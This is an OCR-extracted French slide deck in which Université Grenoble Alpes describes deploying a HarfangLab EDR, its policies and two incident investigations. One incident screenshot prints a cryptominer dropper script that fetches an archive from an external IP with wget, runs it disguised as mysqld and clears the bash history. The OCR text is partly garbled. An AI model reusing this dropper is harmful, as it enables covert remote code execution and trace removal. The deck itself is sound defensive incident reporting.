UCA

Université
Grenoble Alpes

Sécurité des serveurs
et postes de travail :
Mise en place d’un EDR




eeeeeeeeeeeee

Sommaire

Contexte
Proof Of Concept
Déploiement

Investigation




Contexte




Université

Contexte

Université Grenoble Alpes : 59 000 étudiants, 7 700 personnels, 15 000 postes de travail

T
ST/

Une solution centralisée antivirus déployée sur 10 000 postes

q!

Un NDR (Network Detection and Response) depuis 2021

(&)

Une maturité sécurité croissante et un appui politique et financier de la présidence

Volonté d’'une solution souveraine : Tehtris ou HarfanglLab



EDR : Endpoint Detection
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Collecte de données
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inventaire matériel

données de
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eventlogs locaux
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visualisation des liens
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détection failles
sécurités sur drivers
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Proof of Concept

Comité technique constitué de 12 structures et plusieurs types de structures :

Types de structures

Laboratoire 4

Pédagogique 4

Administratif 6

Déploiement sur une centaine de machines tests (tout OS)
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Agent

objectif
10 000
postes

Déploiement simple et silencieux
via notre outil PDQ
ou tout autre moyen

Agent disponible pour :

— == Windows

— B Windows Server

— @& MacOS

— /A Linux (Red Hat, CentOS, Ubuntu,
SUSE, Debian)

Usage CPU/ RAM client en moyenne :

— 0.5% du CPU
— 100Mo de mémoire vive
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“' Hal'fangl.ab '> About page Grenoble Alpes

Agent 3.2.10

‘ B ABOUT PAGE

Connection to manager @ Connected

Driver ® Connected (3.2.10)

T E'L o ® HarfangLab
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Tri , Groupe et Policies

Besoins :

— en cas de détection, prévenir au plus proche du gestionnaire de parc concerné
— |'équipe de sécurité en prestation (SOC) doit comprendre nos périmétres

— distribuer des politiques de sécurités d’agent adaptées a chaque population de machines

Création de groupes Création de régles de tri Affectation de Policies
par structures ou usage (discriminant sur nom de selon les groupes
machine ou @IP)
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Création de 64 groupes

Politique avec tous les moteurs en "alert & block”

Politique avec leg

DETECT
inventaire

remontée
de détection

aucun blocage

but : whitelistage

Création de 8 policies dont 2 principales ...

PROTECT
inventaire

remontée
de détection

blocage automatique
des processus
malicieux
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Whitelistage
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Investigation | Blgggrreeeo._ YA
I pro - Ikl
SR "‘~- A ceS H
Premier cas : remontée de détection critique en interne menant a investigation B "‘~~--___ /

Summary Host properties Quarantine

Investigation via télémeétrie en temps réelle

Settings (10)

P inventaire hardware / software
©  Status Maturity processus executeés
binaires présents sur les terminaux

connexions réseau établies

journaux d’evenements Windows



Investigation

Second cas : remontée d’incident par notre société d’infogérance

‘ Alertes )

Blue
Team Qualification des incidents

.

mySOC
Portal

UGA
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Création et suivi des tickets
Equipe
SSI _ Prise en charge de l'incident
,—~—~-_~-~-

CSSI

Actions de remédiation ,l
I
!



PRIORITE A IMPACT @ EXPLOITATION

1 Haut Simple

Synthése

Source de logs : EDR HarfangLab
Date de detection : 5 février 2024 vers 08h53 (UTC)
Machine _
Description : Exécution d'un script suspect provogquant la suppression de I'historique bash et indiquant le téléchargement d'un potentiel "miner”
Menace : Infection malware
Compte utilisateur :
‘T
Processus relevé:
» bash
Ligne de commande :
« Voir lien EDR
ActionEDR.:
» Detect

Lien EDR :

. security-event/JOF_elOByRNByqgfXkeQr/summary
. ‘telemetry/processes?limit=25&offset=0&image_name_ wildcard=.none/mysqld&ordering=-event_create date



# Analyse Q Piéces jointes "D Historique

Le 5 février 2024 vers 08h58 (UTC), nous avons détecté I'exécution d'un script permettant le téléchargement d'un potentiel "miner” depuis |'adresse suivante :
"o 46.,59.152.67/480.tar.gz"

Security event - Shell History File Cleared (Linux)

Process tree Related timeline Rule Static analysis

o Shell Hlstory File Cleared (Linux)

v ar e r_-u'

COMm oncea’ the actions undeartaken duning an nfrsion

Endpoint detection date: 2024-02-05 D8:58:502 ﬂ

Process [ ]

bash
bearity Love Status

Process name Version

Image name . IP Address

Cammand-line bash -<

miner_execs".none sy sald™
- miner_dirs$(dirnase “4{miner_exsc}™)
Execution minerfile«s(Basename “flainkr exec)™)
! alner_sree“hitp: /146,59, 162 67/480 . Tar g x* . i

Quarantine pése -t proc_ids < <[pgrep ~${miner_file)") Status: Alert creation
for proc_id im “${proc_tds[@])"; do

Username pruc[e;ec-!.ue.mllnl T =g : f
if [T -n =${proc_exec)™ 1]; 1 1

Current directory cpu_loads${ps 5 -p “${proc_id}* } ! Alert creation
echo "RESULT_ RUNNING:${cpu_load)™ -
history «c && hdstory -w

User SID exit @

Process Create Time o {3 Changed to false positive

if ;I’ I =f “${miner :l"-., 11; then
if Bf «F "${ (miner. ~dir}® §]; then
s ra “${miner_dir}
Size T
skdir -p "§{miner_di — § x "
MD5 WEEE -q0- --no-chECK-Certificate "S{minar_sr<)® | tar xvz -¢ “S{einer_dir}® Q) Changed to investigating
mv “3{miner_dir} 4= “${miner ur"'
SHAT if [[ | -F “${miner_exec}™ 1]: then
2cho "RESULT BAD J.M'S‘.-L.LE{J"
SHA256 by WA Loy &% Host isolated from network
1

L'exécution du miner s'est faite sous le nom de ".none/mysqld ". Nous constatons d'ailleurs que ce processus (.none/mysqgld) a été vu sur une autre machine: _ 2

[imit




Investigation peA

Second cas : remontée d’incident par notre société d’infogérance

Recommandations

MNous vous recommandons de :

 Procéder a la suppression du "miner” ainsi que toutes ses dépendances
¢ Sensibiliser I'utilisateur sur les risques d'infection malwares
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Retour
d ‘expérience
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Ou en sommes nous
dans ce projet ?

Bilan
produit




‘Mars 2023
POC avec
Groupe de
Travail
.2022
Benchmark
des

solutions

‘ Décembre -
‘Juillet 2023 Avril 2024

‘Juin 2023

Point avec le
CNRS et I'INP

Déploiement
Commande macsif pour

passée

Phase 10 000 postes
d’échange avec

Advens

Début de

déploiement
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Retour d’expérience :

 Phase de BUILD demandeuse en ressources humaines

Un déploiement par phases (massif puis machine par machine)

Passage du mode DETECT a PROTECT pouvant étre inquiétante

Mobiliser du monde autour du projet

N7z

Accompagnement par une société d'infogérance fortement
conseillé )
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Bilan Produit :

L’EDR comble un « trou dans la raquette »

déployé sur TOUTES les machines (multi OS, endpoints et serveurs)

moteurs de détections comportementaux de 'EDR complétent la
solution antivirus existante

télémeétrie fine permet investigation compléte des menaces

SOC (Security Operational Center) externalisé permet surveillance 24/24 7j/7



